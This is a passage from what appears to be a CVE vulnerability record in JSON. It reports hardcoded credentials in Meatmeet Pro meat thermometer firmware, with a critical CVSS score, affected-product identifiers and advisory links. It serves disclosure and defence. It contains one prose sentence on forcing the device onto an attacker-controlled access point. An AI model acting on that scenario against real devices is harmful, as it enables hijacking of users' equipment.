Additionally, if an attacker were located in close physical proximity to the device when it was first set up, they may be able to force the device to auto-connect to an attacker-controlled access point by setting the SSID and password to the same as which was found in the firmware file."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-798"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:meatmeet:meatmeet_pro_wifi_\\&_bluetooth_meat_thermometer_firmware:1.0.34.4:*:*:*:*:*:*:*", "matchCriteriaId": "9B669DA2-CF06-461F-B624-DCD0359D1656"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:meatmeet:meatmeet_pro_wifi_\\&_bluetooth_meat_thermometer:-:*:*:*:*:*:*:*", "matchCriteriaId": "1661B540-36E1-4BF0-BC63-9EC952560B54"}]}]}], "references": [{"url": "https://gist.github.com/dead1nfluence/4dffc239b4a460f41a03345fd8e5feb5#file-hardcoded-credentials-esp32-md", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/dead1nfluence/Meatmeet-Pro-Vulnerabilities/blob/main/Device/Hardcoded-Credentials.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}
